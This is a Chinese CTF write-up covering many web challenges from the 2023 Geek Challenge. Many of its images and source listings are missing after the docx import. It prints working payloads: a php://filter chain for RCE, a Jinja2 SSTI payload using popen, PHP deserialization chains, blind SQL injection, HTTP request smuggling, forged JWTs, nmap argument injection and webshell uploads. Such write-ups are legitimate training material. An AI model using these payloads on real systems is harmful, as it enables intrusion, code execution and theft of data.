2023第十四届极客大挑战 — WEB WP
说明:由于是从docx直接导入,因此鉴于docx的识别,文章有些图片里面有红色下划线,但不影响!
属实懒了!直接导入了。。。哈哈。凑合看吧!实在太多了。。。。
EzHttp
Post传参
查看源码
访问robots.txt
访问这个目录
得到用户名和密码所对的值
进行post传参
添加referer
添加ua
添加本地访问
添加代理,抓包
添加参数
unsign
简单反序列化
exp:
n00b_Upload
随便传个文件发现,只能传图片
然后上传图片马 ,发现有对后缀 文件头 文件内容检测
然后对后缀 文件头 文件内容进行绕过
上传成功连接蚁剑获得 flag
easy_php
PHP特性题 源码如下
进行代码审计,可以发现这里其实就是层层递进,主要考点是php特性绕过,绕过第一层
第二层绕过
第三层
qw=%25PDF- 1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%
200%20R
/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/ Length%
208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-
1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC
%91f%B6
%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3
%A9%09% 01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98
%BBU.%F
5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%
2Cv%21V
%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&yxx=%25PDF- 1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%
200%20R
/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/ Length%
208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-
1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF% DC%93%A 6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1 i%09%01
%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.% F5%BC%9
4%2B%E35B%A4%80-
%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0% BF%3F%9
8%CD%A8%04F%29%A1
最后一层,传参即可
ctf_curl
源码如下
这题主要考了Curl命令的一个外带参数
-T 可以上传文件 尝试向自己的vps写文件
payload
klf_ssti
无回显外带SSTI
payload如下
ez_remove
攻击流程, 构造如下exp
这里第一个需要构造 array($a, 0); 进行回收,第二个构造 S 进制转换绕过正则,最终利用glob协
议进行读取文件绕过 disable_functions
ez_path
在发表文章输入这个
Content随便输入
保存返回首页再看就看见flag
you konw flask?
flask伪造爆破
有点坑的这题,需要去爆破 secret_key
访问 robots.txt 提示访问 /3ysd8.html , 获取如下信息
这里写个脚本进行生成字典 key.py
下面注册一个测试账号 aaa , 发现JWT进行伪造 (flask-unsign)
伪造利用
将伪造的jwt进行覆盖 , 访问 /houtai成功获取flag
Pupyy_rce
构造payload如下, 多发几次包 随机数成功获取flag
雨
源码如下
考点:
// app.all('/hint', (req, res) => {
// res.type('html');
// res.send("I heard that the challenge maker likes to use his own id as secret_key");
//
// });
app.get('/source', (req, res) => {
// res.type('html');
// var auth = req.cookies.auth;
//
// jwt.verify(auth, jwt_secret , function(err, decoded) {
try{
//
//
// if(decoded.user==='admin'){
res.sendFile(path.join( dirname + '/index.js'));
}else{
// res.send('you are not admin <!--Maybe you can view /hint--
>');
//
}
// }
//
// catch{
res.send("Fuck you Hacker!!!")
// }
// });
// });
app.all('/create', (req, res) => { res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null)
{
res.send("please input name");
}else {
if (Super['userrole'] === 'Superadmin') { res.render('index', req.body);
}else {
if (!safecode(req.body.name)) { res.send("你在做什么?快停下!!!")
}
});
}
else{
res.render('index', {name: req.body.name});
}
}
app.get('/',(req, res) =>
{ res.type('html');
var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
res.cookie('auth ',token);
res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));
这里我们分析利用链子,发现可以污染 code 路由 , 构造payload
污染成功后 , 利用一个 EJS模板注入Payload
成功 RCE
famale_imp_l0ve
分析源代码,发现一处提示信息 /include.php
源码如下
考点是伪协议 zip:// 截断绕过文件包含
首先进行上传构造 php.zip, 里面写入一张图片 图片马内容如下
构造payload进行zip协议包含
读取flag
EzRce
试了几个函数 都ban了
思考是否是无字母数字 输入几个字符测了一下发现确实是 且ban了 + 不能自增,考虑 取反 结果也ban了
考虑异或
成功 phpinfo查看disable_funcitons
先写个shell方便操作
想用蚁剑连上 试试能否一键绕disable_function 发现连不上 不知道为什么
那先确定flag位置 尝试scandir 发现不能路径穿越,那就
尝试绕openbasedir来读flag 失败
那找找rce的方法
在一通尝试后发现proc_open()可用
发现flag是root可读
想办法提权
查一手suid
有find 那么结束
ez_php
先读key.php
这里php版本为7.4 过高 不能用+绕
考虑实现了serializable接口的类序列化后得到的是C开头的字符串
用低版本跑脚本 不然还是O 我不知道怎么回事
来进行绕过 然后 and 的优先级低于&& 可以不管
通过PHP_SELF来读key.php
解码得到一张图
得到key是9
her name是momo
于是payload如下
gadget为Me::wakeup => her::invoke => important::sleep => useless::get => her::find
?
user=C%3A13%3A%22ArrayIterator%22%3A374%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3
A4%3A%22evil%
22%3BO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her
%22%3A3%3A%7Bs%3A12
%3A%22%00her%00hername%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00her%00ke y%22%3Bs%3A0%3A%2
2%22%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3 A%22power%22%3BO%
3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A 1%3A%7Bs%3A6%3
A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A1 2%3A%22%00her%00h
ername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bi%3A9
%3Bs%3A3%3A%22asd
%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22% 3BN%3Bs%3A3%3A%22YX
X%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3 BR%3A19%3B%7D%7D%3
Bm%3Aa%3A0%3A%7B%7D%7D
然后一个伪协议
&file=data://text/plain;base64,bG92ZXlvdQ%3D%3D
再利用原生类读就行了
base64解密
klf_2
ban了很多 也懒得fuzz了
通过 {%set %} 来构造字符串
常规的几个
构造空格
通过()一路调到popen执行命令
ls完发现存在hahahaha文件
构造hahahaha字符串去读
读haha
发现不是flag 那么应该在根目录
想办法构造 ;和. 或者 / 进行目录穿越
构造的/如下
读 根目录 没有flag
读/app
读取
scan_tool
给了个nmap的功能 随便打个字符看一下
发现被单引号包裹尝试逃逸
escapeshellcmd和escapeshellarg连用
通过 ' shellcode ' 绕过,尝试用 -iL 读文件 ,提示危险参数 ,尝试使用 $'' ban了
fuzz得到可用的符号表为 !"#%'()+,-./:;<>[]^_`{}~
那么写马也不行了 ,考虑到--excludefile也能读文件
在-oX -o -N 都ban了的情况下
尝试使用-oA 来写出 ,我们传参 ' --excludefile /flag -oA res '
然后读res.xml或res.nmap
change_it
开局一个登录口,查看源代码发现用户密码 user/user
直接登录,源代码发现一处需要伪造的值
进去后,没有上传图片的权限,看到了cookie
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4
用jwt.io看看
需要改name为admin,并且admin字段改为true,但是没有秘钥,需要用
Jwtcrack爆破
他这一步是做了一个爆破,也可以用自带字典这里可以用flask-unsign 自己生一个字典
参考文章:https://blog.csdn.net/m0_66574109/article/details/129621900
得到秘钥是yibao
那么再改下session
得到
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOiJ0cnVlIn0.qs6tjnaghMXiTsvqEMUauz_JGzxxKdtaXPGVtQUEHek
换成上面的session cookie就可以上传图片了
再看看右键源码
意思是根据当前的时间戳作为种子,生成随机文件名,我们bp抓包,传一句话文件,然后服务器侧拿到了时间
Wed, 15 Nov 2023 03:01:24 GMT 匹配对应的时间戳
网站如下:https://www.sjczhq.com/ 得到值1700017284
分析源代码,然后这个时间戳就是种子,根据他源码生成文件名
利用上述得到的时间戳,爆破得到seed,代码如下
文件名是31WiWo8ZBq,访问刚才上传的一句话木马,路径/upload/31WiWo8ZBq.php
成功读取flag
ezrfi
先传/var/hint,读取hint.py,得到源码
base64解码
尊嘟假嘟解密
后来提示是rc4解密 密钥从题目得知是Syclover
rc4解密
hex解密
通用文件包含
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-
1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|conver
t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR
|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp&0=cat%20/f*
最后flag为SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}
ezpython
首先下载附件进行分析,源码如下
构造原型化污染,对/register接口进行操作
思路:污染 isVip 为 True,这里采取编码绕过
/register
{"username":"aa","password":"aa","__class__":{"__base__":{"\u0069\u0073\u007
6\u0069\u0070": true}}}
访问/login, 利用aa用户登录进到后台
最后构造绕过 /flag?num=123456789%0a 获取flag
ez_sql
遇到输入框首先考虑sql注入,主要题目也给提示了
首先输入id=1‘ 单引号闭合试试
再试一试id=1
显示正常
id=1’ --+
显示被waf拦截
fuzz测试
过滤了or = database() information_schema,这里都有分别的替代的字符去绕过
联合注入查询肯定不行
只能考虑盲注
在MySQL中,BINARY是一个用于比较和排序二进制字符串的函数。它将字符串转换为二进制格式,然
后进行比较。
BINARY函数可以应用于列或表达式,它将字符串转换为二进制,然后按照二进制值进行比较。这使得可
以使用BINARY函数在比较中区分大小写。
爆库
'1') and (select (select schema() limit 1,1) like binary '{}%')#'
运行得到数据库名 articles
爆表
运行得到数据库表名 ctf
爆字段
运行得到字段 flll444aaggg9
最后爆破flag
最后获得flag SYC{73hd72hfds68r42yuf874r79v8sd43u89f}
EZ_Smuggling
参考文章
https://zhuanlan.zhihu.com/p/450929527
先注册一个账号
用户名:yiqing
密码:123456
登录界面
抓包
repeater
GET / HTTP/2
Host: 47.108.56.168:20231
Cookie:
session=MTcwMDc5MTI3M3xvdTlROFN2UHR6YVFsbTRfVnMzdzVVcDFNRXQwQmpEMjNfWmxaMV
lkcS1pSUpqaXZfZUsxUmZLSzE4UXJxdVZtNE9KYkNZUjc1S3BkQ2hsQ05vVXQyMWFwdXRXUXJzbnB8
JoGztCN8F-YWL4wcxvUdCbPyMpH6xf8mXg-BU-rvrRQ=Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/119.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.
8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://47.108.56.168:20231/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
GET /admin HTTP/1.1
Host: 47.108.56.168:20231
Cookie:
session=MTcwMDc5MTI3M3xvdTlROFN2UHR6YVFsbTRfVnMzdzVVcDFNRXQwQmpEMjNfWmxaMV
lkcS1pSUpqaXZfZUsxUmZLSzE4UXJxdVZtNE9KYkNZUjc1S3BkQ2hsQ05vVXQyMWFwdXRXUXJzbnB8
JoGztCN8F-YWL4wcxvUdCbPyMpH6xf8mXg-BU-rvrRQ=
Content-Length: 1
1
切换渲染模式查看flag
最后flag为SYC{http2_5muggl1ng_15_1nt3r3st1ng}
klf_3
不知道为什么用klf2的payload也能出flag ,哈哈,白送了。
https://pvrgvijn48hum2z5nw5mnem3j.node.game.sycsec.com/secr3ttt?klf={%set
po=dict(po=a,p=a)|join%}{%set a=(()|select|string|list)|attr(po)(24)%}{%set
glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{%set cls=
(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=
(a,a,dict(bas=a,e=b)|join(),a,a)|join()%}{% set subc=
(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{% set geti=
(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{% set ini=
(a,a,dict(in=a,it=b)|join,a,a)|join()%}{%set pp=dict(po=a,pen=b)|join %}{%set ls=
(dict(ls=a))|join()%}{%set ap=dict(ap=a,p=b)|join%}{%set rd=
(dict(re=a,ad=b))|join()%}{%set po=dict(po=a,p=a)|join%}{%set fg=
(dict(fl4=a,gfl4gfl4g=b))|join()%}{%set ct=(dict(ca=a,t=b))|join()%}{%set bk=
(lipsum|string|list|attr(po)(9))%}{%set t=(()|attr(cls)|attr(bs)|attr(subc)
()|attr(geti)(117)|attr(ini)|attr(glo)|string|list|attr(po)(463))%}{%set ctfg=
(ct,bk,t,ap,t,fg)|join()%}{%set ls=(dict(ls=a))|join()%}{%set en=
(dict(e=a,nv=b))|join()%}{%set lss=(ls,bk,t)|join()%}{%set lsss=
(ls,bk,t,ap)|join()%}{{()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)
(117)|attr(ini)|attr(glo)|attr(geti)(pp)(ctfg)|attr(rd)()}}
Akane!
链子很简单没什么可说的
这里的功能点只有一个
判断文件是否存在 若存在返回Kurokawa Akane
而我们知道scandir中是可以使用glob:协议的
我们可以利用通配符来盲注
那么现在的问题就是绕__wakeup
题目环境php版本为7.3.22
比较高
尝试了C开头的序列化字符串也没能绕过
最后利用反序列化字符串报错绕过
在原串最后添加;N;
php脚本如下
得到的b64用python的库转回序列化字符串
python会保留\x00
盲注脚本如下
运行获得flag目录位置
访问目录获得flag
java(比赛未出,目前已复现)
浅谈:呜呜呜。。。亏死了,真的没想到这个Java反序列化这么简单,放在最后一个以为是压轴看都没看。。。
哎!不说了,简单讲讲吧
题目描述:不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊)
我的解答:
首先我们可以用IJ打开题目附件,看了一下关键代码就两处。如下:
home.java
首先我们找到登录用户名和密码进行登录。这点应该都容易找到。登录之后就是这样一个界面
然后我们继续往下看发现姓名,性别,年龄可以修改的(需要我们手动输入),也就是上面登录界面的三个输入框。
看到这里就知道肯定是输入什么信息,然后点击保存进行更新就会反馈flag。
所以我们需要找到输入点。输入点应该在user.java
来看user.java,结合题目提示java的String.split好像有点特殊
可以发现考了split特性
String.split()的参数是分隔符,而题目中的分隔符是O.o
在Java的正则匹配的模式中O.o里的这个.(点)会被匹配成任意字符。
由于数据可改,而且提交的是使用O.o分割的三个数据
因此我们只需要把 .(点)换成任意字母就行,其他的正常输入数据。需要注意性别那里要用字符串。
在分隔符代码那里我们可以看到加密的文件目录,因此猜测是flag
然后我们构造输入结果:
Ovomumu666Ovo1Ovo21Ovo/tmp/flagOvo
输入到姓名那里即可,然后点击保存,系统会自动序列化。就能得到flag了。